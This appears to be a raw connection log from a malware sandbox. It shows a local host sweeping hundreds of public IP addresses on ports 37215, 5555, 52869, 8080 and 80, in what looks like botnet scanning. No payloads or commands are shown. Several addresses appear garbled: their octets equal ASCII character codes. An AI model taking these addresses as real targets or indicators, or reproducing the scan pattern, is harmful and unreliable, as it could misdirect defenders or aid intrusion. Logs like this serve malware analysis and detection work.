Feb 12, 2023 21:24:38.662337065 CET	52981	37215	192.168.2.23	197.114.227.175
Feb 12, 2023 21:24:38.662337065 CET	52981	37215	192.168.2.23	157.207.2.150
Feb 12, 2023 21:24:38.662343979 CET	52981	37215	192.168.2.23	41.248.243.238
Feb 12, 2023 21:24:38.662343979 CET	52981	37215	192.168.2.23	157.165.104.65
Feb 12, 2023 21:24:38.662352085 CET	52981	37215	192.168.2.23	78.92.92.195
Feb 12, 2023 21:24:38.662353992 CET	52981	37215	192.168.2.23	58.39.68.169
Feb 12, 2023 21:24:38.662352085 CET	52981	37215	192.168.2.23	201.244.190.112
Feb 12, 2023 21:24:38.662352085 CET	52981	37215	192.168.2.23	157.3.71.127
Feb 12, 2023 21:24:38.662363052 CET	52981	37215	192.168.2.23	41.161.47.24
Feb 12, 2023 21:24:38.662363052 CET	52981	37215	192.168.2.23	80.85.46.36
Feb 12, 2023 21:24:38.662365913 CET	52981	37215	192.168.2.23	41.30.236.224
Feb 12, 2023 21:24:38.662373066 CET	52981	37215	192.168.2.23	197.227.200.89
Feb 12, 2023 21:24:38.662389994 CET	52981	37215	192.168.2.23	1.36.235.166
Feb 12, 2023 21:24:38.662389994 CET	52981	37215	192.168.2.23	77.38.250.196
Feb 12, 2023 21:24:38.662427902 CET	52981	37215	192.168.2.23	157.182.120.112
Feb 12, 2023 21:24:38.662427902 CET	52981	37215	192.168.2.23	41.238.54.30
Feb 12, 2023 21:24:38.662427902 CET	52981	37215	192.168.2.23	163.247.132.14
Feb 12, 2023 21:24:38.662427902 CET	52981	37215	192.168.2.23	197.254.26.71
Feb 12, 2023 21:24:38.662427902 CET	52981	37215	192.168.2.23	197.153.255.79
Feb 12, 2023 21:24:38.662434101 CET	52981	37215	192.168.2.23	14.25.114.115
Feb 12, 2023 21:24:38.662434101 CET	52981	37215	192.168.2.23	180.133.230.165
Feb 12, 2023 21:24:38.662434101 CET	52981	37215	192.168.2.23	197.14.142.46
Feb 12, 2023 21:24:38.662434101 CET	52981	37215	192.168.2.23	197.77.80.168
Feb 12, 2023 21:24:38.662440062 CET	52981	37215	192.168.2.23	41.106.178.71
Feb 12, 2023 21:24:38.662444115 CET	52981	37215	192.168.2.23	202.62.149.227
Feb 12, 2023 21:24:38.662445068 CET	52981	37215	192.168.2.23	197.111.24.59
Feb 12, 2023 21:24:38.662446022 CET	52981	37215	192.168.2.23	41.37.115.5
Feb 12, 2023 21:24:38.662461042 CET	52981	37215	192.168.2.23	157.225.131.104
Feb 12, 2023 21:24:38.662461042 CET	52981	37215	192.168.2.23	157.187.220.32
Feb 12, 2023 21:24:38.662468910 CET	52981	37215	192.168.2.23	157.235.75.83
Feb 12, 2023 21:24:38.662468910 CET	52981	37215	192.168.2.23	48.117.48.172
Feb 12, 2023 21:24:38.662468910 CET	52981	37215	192.168.2.23	175.62.53.67
Feb 12, 2023 21:24:38.662468910 CET	52981	37215	192.168.2.23	197.187.50.248
Feb 12, 2023 21:24:38.662478924 CET	52981	37215	192.168.2.23	89.68.197.165
Feb 12, 2023 21:24:38.662470102 CET	52981	37215	192.168.2.23	157.184.82.50
Feb 12, 2023 21:24:38.662487984 CET	52981	37215	192.168.2.23	157.26.63.178
Feb 12, 2023 21:24:38.662503958 CET	52981	37215	192.168.2.23	157.230.185.106
Feb 12, 2023 21:24:38.662503958 CET	52981	37215	192.168.2.23	157.106.212.168
Feb 12, 2023 21:24:38.662527084 CET	52981	37215	192.168.2.23	157.189.156.92
Feb 12, 2023 21:24:38.662545919 CET	52981	37215	192.168.2.23	13.232.251.203
Feb 12, 2023 21:24:38.662566900 CET	52981	37215	192.168.2.23	157.37.43.186
Feb 12, 2023 21:24:38.662576914 CET	52981	37215	192.168.2.23	197.75.24.176
Feb 12, 2023 21:24:38.662578106 CET	52981	37215	192.168.2.23	157.43.15.244
Feb 12, 2023 21:24:38.662580967 CET	52981	37215	192.168.2.23	197.0.72.87
Feb 12, 2023 21:24:38.662625074 CET	52981	37215	192.168.2.23	41.6.76.203
Feb 12, 2023 21:24:38.662626028 CET	52981	37215	192.168.2.23	197.175.80.98
Feb 12, 2023 21:24:38.662626982 CET	52981	37215	192.168.2.23	41.227.84.139
Feb 12, 2023 21:24:38.662635088 CET	52981	37215	192.168.2.23	197.246.139.205
Feb 12, 2023 21:24:38.662655115 CET	52981	37215	192.168.2.23	197.134.133.192
Feb 12, 2023 21:24:38.662657976 CET	52981	37215	192.168.2.23	197.233.207.207
Feb 12, 2023 21:24:38.662688017 CET	52981	37215	192.168.2.23	41.152.89.68
Feb 12, 2023 21:24:38.662727118 CET	52981	37215	192.168.2.23	45.209.140.73
Feb 12, 2023 21:24:38.662730932 CET	52981	37215	192.168.2.23	197.189.191.168
Feb 12, 2023 21:24:38.662744999 CET	52981	37215	192.168.2.23	41.38.55.125
Feb 12, 2023 21:24:38.662770987 CET	52981	37215	192.168.2.23	41.92.178.225
Feb 12, 2023 21:24:38.662796974 CET	52981	37215	192.168.2.23	41.12.244.184
Feb 12, 2023 21:24:38.662806034 CET	52981	37215	192.168.2.23	157.25.198.83
Feb 12, 2023 21:24:38.662806034 CET	52981	37215	192.168.2.23	41.125.226.159
Feb 12, 2023 21:24:38.662823915 CET	52981	37215	192.168.2.23	157.74.83.44
Feb 12, 2023 21:24:38.662844896 CET	52981	37215	192.168.2.23	157.132.253.236
Feb 12, 2023 21:24:38.662877083 CET	52981	37215	192.168.2.23	223.110.117.194
Feb 12, 2023 21:24:38.662977934 CET	52981	37215	192.168.2.23	197.17.63.211
Feb 12, 2023 21:24:38.662978888 CET	52981	37215	192.168.2.23	157.40.238.183
Feb 12, 2023 21:24:38.662995100 CET	52981	37215	192.168.2.23	41.29.224.21
Feb 12, 2023 21:24:38.662996054 CET	52981	37215	192.168.2.23	157.184.221.245
Feb 12, 2023 21:24:38.662995100 CET	52981	37215	192.168.2.23	197.121.177.168
Feb 12, 2023 21:24:38.662998915 CET	52981	37215	192.168.2.23	52.181.123.30
Feb 12, 2023 21:24:38.663001060 CET	52981	37215	192.168.2.23	180.156.134.190
Feb 12, 2023 21:24:38.663001060 CET	52981	37215	192.168.2.23	197.159.235.51
Feb 12, 2023 21:24:38.663001060 CET	52981	37215	192.168.2.23	80.217.176.191
Feb 12, 2023 21:24:38.663041115 CET	52981	37215	192.168.2.23	197.243.239.174
Feb 12, 2023 21:24:38.663041115 CET	52981	37215	192.168.2.23	197.199.50.158
Feb 12, 2023 21:24:38.663053989 CET	52981	37215	192.168.2.23	27.212.100.137
Feb 12, 2023 21:24:38.663053989 CET	52981	37215	192.168.2.23	12.174.92.75
Feb 12, 2023 21:24:38.663053989 CET	52981	37215	192.168.2.23	197.90.207.229
Feb 12, 2023 21:24:38.663055897 CET	52981	37215	192.168.2.23	157.166.141.77
Feb 12, 2023 21:24:38.663055897 CET	52981	37215	192.168.2.23	41.23.13.240
Feb 12, 2023 21:24:38.663055897 CET	52981	37215	192.168.2.23	41.32.76.184
Feb 12, 2023 21:24:38.663055897 CET	52981	37215	192.168.2.23	152.12.126.87
Feb 12, 2023 21:24:38.663055897 CET	52981	37215	192.168.2.23	177.88.206.30
Feb 12, 2023 21:24:38.663064957 CET	52981	37215	192.168.2.23	41.217.100.186
Feb 12, 2023 21:24:38.663065910 CET	52981	37215	192.168.2.23	157.90.236.45
Feb 12, 2023 21:24:38.663064957 CET	52981	37215	192.168.2.23	41.0.136.249
Feb 12, 2023 21:24:38.663067102 CET	52981	37215	192.168.2.23	145.125.13.155
Feb 12, 2023 21:24:38.663065910 CET	52981	37215	192.168.2.23	41.225.205.136
Feb 12, 2023 21:24:38.663067102 CET	52981	37215	192.168.2.23	172.109.232.190
Feb 12, 2023 21:24:38.663067102 CET	52981	37215	192.168.2.23	223.99.164.175
Feb 12, 2023 21:24:38.663067102 CET	52981	37215	192.168.2.23	203.180.236.99
Feb 12, 2023 21:24:38.663084984 CET	52981	37215	192.168.2.23	197.34.42.65
Feb 12, 2023 21:24:38.663084984 CET	52981	37215	192.168.2.23	197.150.152.153
Feb 12, 2023 21:24:38.663084984 CET	52981	37215	192.168.2.23	157.121.163.50
Feb 12, 2023 21:24:38.663084984 CET	52981	37215	192.168.2.23	157.247.5.63
Feb 12, 2023 21:24:38.663151026 CET	52981	37215	192.168.2.23	41.167.195.11
Feb 12, 2023 21:24:38.663151979 CET	52981	37215	192.168.2.23	41.42.52.219
Feb 12, 2023 21:24:38.692683935 CET	37215	52981	157.90.236.45	192.168.2.23
Feb 12, 2023 21:24:38.704205990 CET	5555	22272	164.82.18.247	192.168.2.23
Feb 12, 2023 21:24:38.706222057 CET	54944	80	192.168.2.23	49.52.55.46
Feb 12, 2023 21:24:38.709368944 CET	37215	52981	157.25.198.83	192.168.2.23
Feb 12, 2023 21:24:38.736664057 CET	37215	52981	197.197.154.150	192.168.2.23
Feb 12, 2023 21:24:38.736953020 CET	52981	37215	192.168.2.23	197.197.154.150
Feb 12, 2023 21:24:38.752463102 CET	37215	52981	197.230.149.1	192.168.2.23
Feb 12, 2023 21:24:38.782943010 CET	37215	52981	197.34.42.65	192.168.2.23
Feb 12, 2023 21:24:38.800242901 CET	53504	7574	192.168.2.23	57.53.46.50
Feb 12, 2023 21:24:38.823772907 CET	37215	52981	197.216.98.1	192.168.2.23
Feb 12, 2023 21:24:38.832248926 CET	55174	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:38.832273960 CET	54424	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:38.832315922 CET	55180	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:38.832326889 CET	55182	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:38.832357883 CET	55172	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:38.832357883 CET	54422	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:38.841026068 CET	37215	52981	41.221.48.57	192.168.2.23
Feb 12, 2023 21:24:38.853672028 CET	5555	22272	175.201.219.171	192.168.2.23
Feb 12, 2023 21:24:38.859745979 CET	5555	22272	121.135.120.143	192.168.2.23
Feb 12, 2023 21:24:38.861154079 CET	5555	22272	27.239.43.249	192.168.2.23
Feb 12, 2023 21:24:38.970540047 CET	37215	52981	14.6.47.16	192.168.2.23
Feb 12, 2023 21:24:38.970937014 CET	37215	52981	157.245.51.12	192.168.2.23
Feb 12, 2023 21:24:39.009315014 CET	44204	49152	192.168.2.23	49.52.55.46
Feb 12, 2023 21:24:39.120220900 CET	51548	80	192.168.2.23	57.53.46.50
Feb 12, 2023 21:24:39.152261972 CET	51138	80	192.168.2.23	52.49.46.51
Feb 12, 2023 21:24:39.152266979 CET	40836	80	192.168.2.23	50.46.50.48
Feb 12, 2023 21:24:39.152318954 CET	48294	80	192.168.2.23	56.56.46.49
Feb 12, 2023 21:24:39.152348042 CET	46552	80	192.168.2.23	56.56.46.53
Feb 12, 2023 21:24:39.184346914 CET	57020	80	192.168.2.23	55.56.46.49
Feb 12, 2023 21:24:39.184356928 CET	49046	80	192.168.2.23	50.46.49.57
Feb 12, 2023 21:24:39.248194933 CET	58856	80	192.168.2.23	50.50.56.46
Feb 12, 2023 21:24:39.248214006 CET	52460	80	192.168.2.23	49.48.53.46
Feb 12, 2023 21:24:39.248214960 CET	49824	80	192.168.2.23	57.56.46.49
Feb 12, 2023 21:24:39.248214006 CET	53206	80	192.168.2.23	49.49.52.46
Feb 12, 2023 21:24:39.248222113 CET	48692	80	192.168.2.23	55.56.46.57
Feb 12, 2023 21:24:39.248259068 CET	60928	80	192.168.2.23	49.57.49.46
Feb 12, 2023 21:24:39.314996958 CET	60984	8080	192.168.2.23	49.52.55.46
Feb 12, 2023 21:24:39.412185907 CET	51786	81	192.168.2.23	57.53.46.50
Feb 12, 2023 21:24:39.435516119 CET	37215	52981	197.8.115.99	192.168.2.23
Feb 12, 2023 21:24:39.465985060 CET	37215	52981	197.130.16.85	192.168.2.23
Feb 12, 2023 21:24:39.466152906 CET	52981	37215	192.168.2.23	197.130.16.85
Feb 12, 2023 21:24:39.472197056 CET	51770	52869	192.168.2.23	49.48.56.46
Feb 12, 2023 21:24:39.472198009 CET	35146	52869	192.168.2.23	51.50.46.53
Feb 12, 2023 21:24:39.472208977 CET	45486	52869	192.168.2.23	51.55.46.49
Feb 12, 2023 21:24:39.472271919 CET	45636	52869	192.168.2.23	50.50.57.46
Feb 12, 2023 21:24:39.472285032 CET	38834	52869	192.168.2.23	49.48.50.46
Feb 12, 2023 21:24:39.472332001 CET	45632	52869	192.168.2.23	50.50.57.46
Feb 12, 2023 21:24:39.472476006 CET	37422	52869	192.168.2.23	49.56.56.46
Feb 12, 2023 21:24:39.482250929 CET	37215	52981	197.130.16.85	192.168.2.23
Feb 12, 2023 21:24:39.504214048 CET	36700	80	192.168.2.23	57.49.46.53
Feb 12, 2023 21:24:39.504214048 CET	43290	80	192.168.2.23	49.56.56.46
Feb 12, 2023 21:24:39.504231930 CET	38790	52869	192.168.2.23	50.50.51.46
Feb 12, 2023 21:24:39.504232883 CET	51704	80	192.168.2.23	49.51.56.46
Feb 12, 2023 21:24:39.504235983 CET	59602	52869	192.168.2.23	49.54.57.46
Feb 12, 2023 21:24:39.504271984 CET	36748	52869	192.168.2.23	48.46.54.51
Feb 12, 2023 21:24:39.504271984 CET	41674	80	192.168.2.23	49.54.53.46
Feb 12, 2023 21:24:39.599560022 CET	22272	5555	192.168.2.23	14.183.106.2
Feb 12, 2023 21:24:39.599591970 CET	22272	5555	192.168.2.23	83.150.165.63
Feb 12, 2023 21:24:39.599636078 CET	22272	5555	192.168.2.23	4.181.167.54
Feb 12, 2023 21:24:39.599654913 CET	22272	5555	192.168.2.23	36.58.185.211
Feb 12, 2023 21:24:39.599672079 CET	22272	5555	192.168.2.23	154.71.107.31
Feb 12, 2023 21:24:39.599703074 CET	22272	5555	192.168.2.23	9.148.251.18
Feb 12, 2023 21:24:39.599705935 CET	22272	5555	192.168.2.23	167.102.114.137
Feb 12, 2023 21:24:39.599715948 CET	22272	5555	192.168.2.23	179.8.10.119
Feb 12, 2023 21:24:39.599715948 CET	22272	5555	192.168.2.23	101.83.147.173
Feb 12, 2023 21:24:39.599715948 CET	22272	5555	192.168.2.23	180.167.223.142
Feb 12, 2023 21:24:39.599745989 CET	22272	5555	192.168.2.23	18.248.119.151
Feb 12, 2023 21:24:39.599751949 CET	22272	5555	192.168.2.23	205.114.104.237
Feb 12, 2023 21:24:39.599756002 CET	22272	5555	192.168.2.23	154.23.59.120
Feb 12, 2023 21:24:39.599770069 CET	22272	5555	192.168.2.23	40.30.253.88
Feb 12, 2023 21:24:39.599770069 CET	22272	5555	192.168.2.23	8.172.245.190
Feb 12, 2023 21:24:39.599785089 CET	22272	5555	192.168.2.23	109.228.109.191
Feb 12, 2023 21:24:39.599793911 CET	22272	5555	192.168.2.23	88.34.207.246
Feb 12, 2023 21:24:39.599802971 CET	22272	5555	192.168.2.23	204.203.125.95
Feb 12, 2023 21:24:39.599802971 CET	22272	5555	192.168.2.23	137.205.235.115
Feb 12, 2023 21:24:39.599870920 CET	22272	5555	192.168.2.23	18.28.75.51
Feb 12, 2023 21:24:39.599885941 CET	22272	5555	192.168.2.23	74.61.212.19
Feb 12, 2023 21:24:39.599899054 CET	22272	5555	192.168.2.23	204.181.26.101
Feb 12, 2023 21:24:39.599968910 CET	22272	5555	192.168.2.23	183.21.76.200
Feb 12, 2023 21:24:39.599973917 CET	22272	5555	192.168.2.23	147.166.126.139
Feb 12, 2023 21:24:39.599999905 CET	22272	5555	192.168.2.23	175.242.212.162
Feb 12, 2023 21:24:39.600002050 CET	22272	5555	192.168.2.23	99.128.93.168
Feb 12, 2023 21:24:39.600001097 CET	22272	5555	192.168.2.23	24.59.153.24
Feb 12, 2023 21:24:39.600014925 CET	22272	5555	192.168.2.23	44.49.181.74
Feb 12, 2023 21:24:39.600049019 CET	22272	5555	192.168.2.23	157.104.223.30
Feb 12, 2023 21:24:39.600056887 CET	22272	5555	192.168.2.23	202.141.206.73
Feb 12, 2023 21:24:39.600065947 CET	22272	5555	192.168.2.23	107.252.66.81
Feb 12, 2023 21:24:39.600089073 CET	22272	5555	192.168.2.23	197.39.10.80
Feb 12, 2023 21:24:39.600142956 CET	22272	5555	192.168.2.23	140.150.162.5
Feb 12, 2023 21:24:39.600156069 CET	22272	5555	192.168.2.23	164.225.15.18
Feb 12, 2023 21:24:39.600173950 CET	22272	5555	192.168.2.23	61.194.206.212
Feb 12, 2023 21:24:39.600187063 CET	22272	5555	192.168.2.23	102.115.158.124
Feb 12, 2023 21:24:39.600198984 CET	22272	5555	192.168.2.23	75.206.216.212
Feb 12, 2023 21:24:39.600238085 CET	22272	5555	192.168.2.23	164.248.127.195
Feb 12, 2023 21:24:39.600238085 CET	22272	5555	192.168.2.23	12.208.216.169
Feb 12, 2023 21:24:39.600243092 CET	22272	5555	192.168.2.23	135.214.86.218
Feb 12, 2023 21:24:39.600265026 CET	22272	5555	192.168.2.23	151.74.10.9
Feb 12, 2023 21:24:39.600286007 CET	22272	5555	192.168.2.23	106.228.29.217
Feb 12, 2023 21:24:39.600303888 CET	22272	5555	192.168.2.23	62.66.178.214
Feb 12, 2023 21:24:39.600327969 CET	22272	5555	192.168.2.23	110.221.246.202
Feb 12, 2023 21:24:39.600361109 CET	22272	5555	192.168.2.23	69.141.218.178
Feb 12, 2023 21:24:39.600385904 CET	22272	5555	192.168.2.23	191.77.84.178
Feb 12, 2023 21:24:39.600408077 CET	22272	5555	192.168.2.23	19.155.171.44
Feb 12, 2023 21:24:39.600424051 CET	22272	5555	192.168.2.23	155.114.112.195
Feb 12, 2023 21:24:39.600424051 CET	22272	5555	192.168.2.23	23.217.59.170
Feb 12, 2023 21:24:39.600469112 CET	22272	5555	192.168.2.23	169.140.79.148
Feb 12, 2023 21:24:39.600492001 CET	22272	5555	192.168.2.23	83.242.18.246
Feb 12, 2023 21:24:39.600492001 CET	22272	5555	192.168.2.23	218.120.33.255
Feb 12, 2023 21:24:39.600522041 CET	22272	5555	192.168.2.23	60.99.127.122
Feb 12, 2023 21:24:39.600532055 CET	22272	5555	192.168.2.23	76.110.157.183
Feb 12, 2023 21:24:39.600564957 CET	22272	5555	192.168.2.23	53.1.30.124
Feb 12, 2023 21:24:39.600569963 CET	22272	5555	192.168.2.23	17.61.0.201
Feb 12, 2023 21:24:39.600604057 CET	22272	5555	192.168.2.23	208.14.245.232
Feb 12, 2023 21:24:39.600610971 CET	22272	5555	192.168.2.23	113.83.64.185
Feb 12, 2023 21:24:39.600614071 CET	22272	5555	192.168.2.23	105.175.131.34
Feb 12, 2023 21:24:39.600646973 CET	22272	5555	192.168.2.23	144.83.128.237
Feb 12, 2023 21:24:39.600655079 CET	22272	5555	192.168.2.23	53.28.199.86
Feb 12, 2023 21:24:39.600677967 CET	22272	5555	192.168.2.23	158.166.155.14
Feb 12, 2023 21:24:39.600697041 CET	22272	5555	192.168.2.23	104.227.70.82
Feb 12, 2023 21:24:39.600701094 CET	22272	5555	192.168.2.23	113.155.206.9
Feb 12, 2023 21:24:39.600723982 CET	22272	5555	192.168.2.23	18.224.107.102
Feb 12, 2023 21:24:39.600747108 CET	22272	5555	192.168.2.23	160.164.34.91
Feb 12, 2023 21:24:39.600764036 CET	22272	5555	192.168.2.23	129.70.70.8
Feb 12, 2023 21:24:39.600775003 CET	22272	5555	192.168.2.23	179.18.20.170
Feb 12, 2023 21:24:39.600789070 CET	22272	5555	192.168.2.23	133.165.5.3
Feb 12, 2023 21:24:39.600804090 CET	22272	5555	192.168.2.23	25.238.88.85
Feb 12, 2023 21:24:39.600826025 CET	22272	5555	192.168.2.23	57.239.79.183
Feb 12, 2023 21:24:39.600846052 CET	22272	5555	192.168.2.23	185.112.111.187
Feb 12, 2023 21:24:39.600857019 CET	22272	5555	192.168.2.23	182.187.74.242
Feb 12, 2023 21:24:39.600867987 CET	22272	5555	192.168.2.23	193.106.234.176
Feb 12, 2023 21:24:39.600878954 CET	22272	5555	192.168.2.23	154.51.198.26
Feb 12, 2023 21:24:39.600908995 CET	22272	5555	192.168.2.23	132.183.32.15
Feb 12, 2023 21:24:39.600910902 CET	22272	5555	192.168.2.23	155.34.151.124
Feb 12, 2023 21:24:39.600914955 CET	22272	5555	192.168.2.23	196.149.7.183
Feb 12, 2023 21:24:39.600931883 CET	22272	5555	192.168.2.23	99.118.13.100
Feb 12, 2023 21:24:39.600944042 CET	22272	5555	192.168.2.23	156.19.109.146
Feb 12, 2023 21:24:39.600965023 CET	22272	5555	192.168.2.23	41.142.216.9
Feb 12, 2023 21:24:39.600990057 CET	22272	5555	192.168.2.23	83.54.67.222
Feb 12, 2023 21:24:39.601010084 CET	22272	5555	192.168.2.23	217.216.245.95
Feb 12, 2023 21:24:39.601038933 CET	22272	5555	192.168.2.23	188.222.107.253
Feb 12, 2023 21:24:39.601056099 CET	22272	5555	192.168.2.23	96.193.12.19
Feb 12, 2023 21:24:39.601063967 CET	22272	5555	192.168.2.23	182.139.38.243
Feb 12, 2023 21:24:39.601085901 CET	22272	5555	192.168.2.23	158.184.230.200
Feb 12, 2023 21:24:39.601093054 CET	22272	5555	192.168.2.23	92.228.177.43
Feb 12, 2023 21:24:39.601109028 CET	22272	5555	192.168.2.23	209.196.7.243
Feb 12, 2023 21:24:39.601124048 CET	22272	5555	192.168.2.23	14.131.186.143
Feb 12, 2023 21:24:39.601142883 CET	22272	5555	192.168.2.23	109.30.59.137
Feb 12, 2023 21:24:39.601151943 CET	22272	5555	192.168.2.23	135.95.118.110
Feb 12, 2023 21:24:39.601216078 CET	22272	5555	192.168.2.23	80.141.194.174
Feb 12, 2023 21:24:39.601330042 CET	22272	5555	192.168.2.23	20.138.89.50
Feb 12, 2023 21:24:39.601334095 CET	22272	5555	192.168.2.23	117.125.158.200
Feb 12, 2023 21:24:39.601350069 CET	22272	5555	192.168.2.23	43.78.135.231
Feb 12, 2023 21:24:39.601360083 CET	22272	5555	192.168.2.23	105.205.226.200
Feb 12, 2023 21:24:39.601366043 CET	22272	5555	192.168.2.23	138.137.82.143
Feb 12, 2023 21:24:39.601382017 CET	22272	5555	192.168.2.23	93.53.164.193
Feb 12, 2023 21:24:39.601387024 CET	22272	5555	192.168.2.23	106.36.94.67
Feb 12, 2023 21:24:39.601401091 CET	22272	5555	192.168.2.23	148.255.69.16
Feb 12, 2023 21:24:39.601407051 CET	22272	5555	192.168.2.23	51.132.23.37
Feb 12, 2023 21:24:39.601411104 CET	22272	5555	192.168.2.23	105.122.100.134
Feb 12, 2023 21:24:39.601418018 CET	22272	5555	192.168.2.23	107.208.152.9
Feb 12, 2023 21:24:39.601442099 CET	22272	5555	192.168.2.23	212.171.149.107
Feb 12, 2023 21:24:39.601449013 CET	22272	5555	192.168.2.23	58.194.248.177
Feb 12, 2023 21:24:39.601460934 CET	22272	5555	192.168.2.23	105.41.223.226
Feb 12, 2023 21:24:39.601471901 CET	22272	5555	192.168.2.23	126.36.9.9
Feb 12, 2023 21:24:39.601476908 CET	22272	5555	192.168.2.23	108.12.91.137
Feb 12, 2023 21:24:39.601481915 CET	22272	5555	192.168.2.23	169.109.141.172
Feb 12, 2023 21:24:39.601488113 CET	22272	5555	192.168.2.23	67.32.10.87
Feb 12, 2023 21:24:39.601495028 CET	22272	5555	192.168.2.23	207.239.225.166
Feb 12, 2023 21:24:39.601501942 CET	22272	5555	192.168.2.23	118.32.82.116
Feb 12, 2023 21:24:39.601519108 CET	22272	5555	192.168.2.23	138.27.195.191
Feb 12, 2023 21:24:39.601520061 CET	22272	5555	192.168.2.23	57.36.21.10
Feb 12, 2023 21:24:39.601550102 CET	22272	5555	192.168.2.23	19.111.121.80
Feb 12, 2023 21:24:39.601562023 CET	22272	5555	192.168.2.23	93.107.110.19
Feb 12, 2023 21:24:39.601562023 CET	22272	5555	192.168.2.23	97.95.182.53
Feb 12, 2023 21:24:39.601589918 CET	22272	5555	192.168.2.23	40.186.161.161
Feb 12, 2023 21:24:39.601596117 CET	22272	5555	192.168.2.23	139.107.9.40
Feb 12, 2023 21:24:39.601598024 CET	22272	5555	192.168.2.23	115.192.7.118
Feb 12, 2023 21:24:39.601612091 CET	22272	5555	192.168.2.23	18.113.115.237
Feb 12, 2023 21:24:39.601619005 CET	22272	5555	192.168.2.23	46.32.22.166
Feb 12, 2023 21:24:39.601634026 CET	22272	5555	192.168.2.23	43.121.154.231
Feb 12, 2023 21:24:39.601634026 CET	22272	5555	192.168.2.23	218.163.68.241
Feb 12, 2023 21:24:39.601644039 CET	22272	5555	192.168.2.23	133.148.36.207
Feb 12, 2023 21:24:39.601676941 CET	22272	5555	192.168.2.23	207.98.27.170
Feb 12, 2023 21:24:39.601686954 CET	22272	5555	192.168.2.23	208.112.227.255
Feb 12, 2023 21:24:39.601707935 CET	22272	5555	192.168.2.23	12.107.240.150
Feb 12, 2023 21:24:39.601710081 CET	22272	5555	192.168.2.23	203.190.46.246
Feb 12, 2023 21:24:39.601712942 CET	22272	5555	192.168.2.23	187.252.209.203
Feb 12, 2023 21:24:39.601727962 CET	22272	5555	192.168.2.23	135.223.244.41
Feb 12, 2023 21:24:39.601731062 CET	22272	5555	192.168.2.23	142.203.249.46
Feb 12, 2023 21:24:39.601732969 CET	22272	5555	192.168.2.23	193.164.24.180
Feb 12, 2023 21:24:39.601733923 CET	22272	5555	192.168.2.23	209.36.158.50
Feb 12, 2023 21:24:39.601742029 CET	22272	5555	192.168.2.23	103.219.181.79
Feb 12, 2023 21:24:39.601746082 CET	22272	5555	192.168.2.23	57.16.250.5
Feb 12, 2023 21:24:39.601751089 CET	22272	5555	192.168.2.23	72.15.68.56
Feb 12, 2023 21:24:39.601751089 CET	22272	5555	192.168.2.23	1.87.48.115
Feb 12, 2023 21:24:39.601752996 CET	22272	5555	192.168.2.23	121.133.11.183
Feb 12, 2023 21:24:39.601752996 CET	22272	5555	192.168.2.23	52.19.78.206
Feb 12, 2023 21:24:39.601756096 CET	22272	5555	192.168.2.23	181.46.200.4
Feb 12, 2023 21:24:39.601752996 CET	22272	5555	192.168.2.23	109.250.197.209
Feb 12, 2023 21:24:39.601767063 CET	22272	5555	192.168.2.23	85.0.2.93
Feb 12, 2023 21:24:39.601769924 CET	22272	5555	192.168.2.23	86.29.211.171
Feb 12, 2023 21:24:39.601780891 CET	22272	5555	192.168.2.23	161.174.43.17
Feb 12, 2023 21:24:39.601783991 CET	22272	5555	192.168.2.23	198.2.62.181
Feb 12, 2023 21:24:39.601785898 CET	22272	5555	192.168.2.23	38.96.198.11
Feb 12, 2023 21:24:39.601785898 CET	22272	5555	192.168.2.23	53.119.68.99
Feb 12, 2023 21:24:39.601785898 CET	22272	5555	192.168.2.23	91.227.210.55
Feb 12, 2023 21:24:39.601785898 CET	22272	5555	192.168.2.23	142.97.124.236
Feb 12, 2023 21:24:39.601792097 CET	22272	5555	192.168.2.23	163.34.151.134
Feb 12, 2023 21:24:39.601799011 CET	22272	5555	192.168.2.23	213.213.252.108
Feb 12, 2023 21:24:39.601800919 CET	22272	5555	192.168.2.23	63.130.124.103
Feb 12, 2023 21:24:39.601811886 CET	22272	5555	192.168.2.23	211.26.12.183
Feb 12, 2023 21:24:39.601856947 CET	22272	5555	192.168.2.23	206.236.46.188
Feb 12, 2023 21:24:39.601862907 CET	22272	5555	192.168.2.23	175.21.253.79
Feb 12, 2023 21:24:39.601870060 CET	22272	5555	192.168.2.23	58.42.194.74
Feb 12, 2023 21:24:39.601872921 CET	22272	5555	192.168.2.23	121.251.132.87
Feb 12, 2023 21:24:39.601881981 CET	22272	5555	192.168.2.23	12.119.58.36
Feb 12, 2023 21:24:39.602544069 CET	5555	22272	153.155.32.89	192.168.2.23
Feb 12, 2023 21:24:39.619146109 CET	55282	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:39.626153946 CET	55284	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:39.634639025 CET	54532	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:39.640078068 CET	55288	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:39.644553900 CET	54536	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:39.647260904 CET	55292	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:39.664289951 CET	52981	37215	192.168.2.23	157.81.186.145
Feb 12, 2023 21:24:39.664298058 CET	52981	37215	192.168.2.23	41.253.175.25
Feb 12, 2023 21:24:39.664305925 CET	52981	37215	192.168.2.23	41.15.135.195
Feb 12, 2023 21:24:39.664339066 CET	52981	37215	192.168.2.23	175.189.27.124
Feb 12, 2023 21:24:39.664366007 CET	52981	37215	192.168.2.23	157.196.105.253
Feb 12, 2023 21:24:39.664375067 CET	52981	37215	192.168.2.23	197.227.199.125
Feb 12, 2023 21:24:39.664375067 CET	52981	37215	192.168.2.23	157.15.237.135
Feb 12, 2023 21:24:39.664375067 CET	52981	37215	192.168.2.23	178.246.149.177
Feb 12, 2023 21:24:39.664386988 CET	52981	37215	192.168.2.23	197.163.120.224
Feb 12, 2023 21:24:39.664402008 CET	52981	37215	192.168.2.23	157.135.193.139
Feb 12, 2023 21:24:39.664407015 CET	52981	37215	192.168.2.23	41.114.198.232
Feb 12, 2023 21:24:39.664422989 CET	52981	37215	192.168.2.23	46.162.18.192
Feb 12, 2023 21:24:39.664447069 CET	52981	37215	192.168.2.23	197.224.234.48
Feb 12, 2023 21:24:39.664449930 CET	52981	37215	192.168.2.23	97.187.214.43
Feb 12, 2023 21:24:39.664459944 CET	52981	37215	192.168.2.23	37.10.199.1
Feb 12, 2023 21:24:39.664486885 CET	52981	37215	192.168.2.23	197.242.100.162
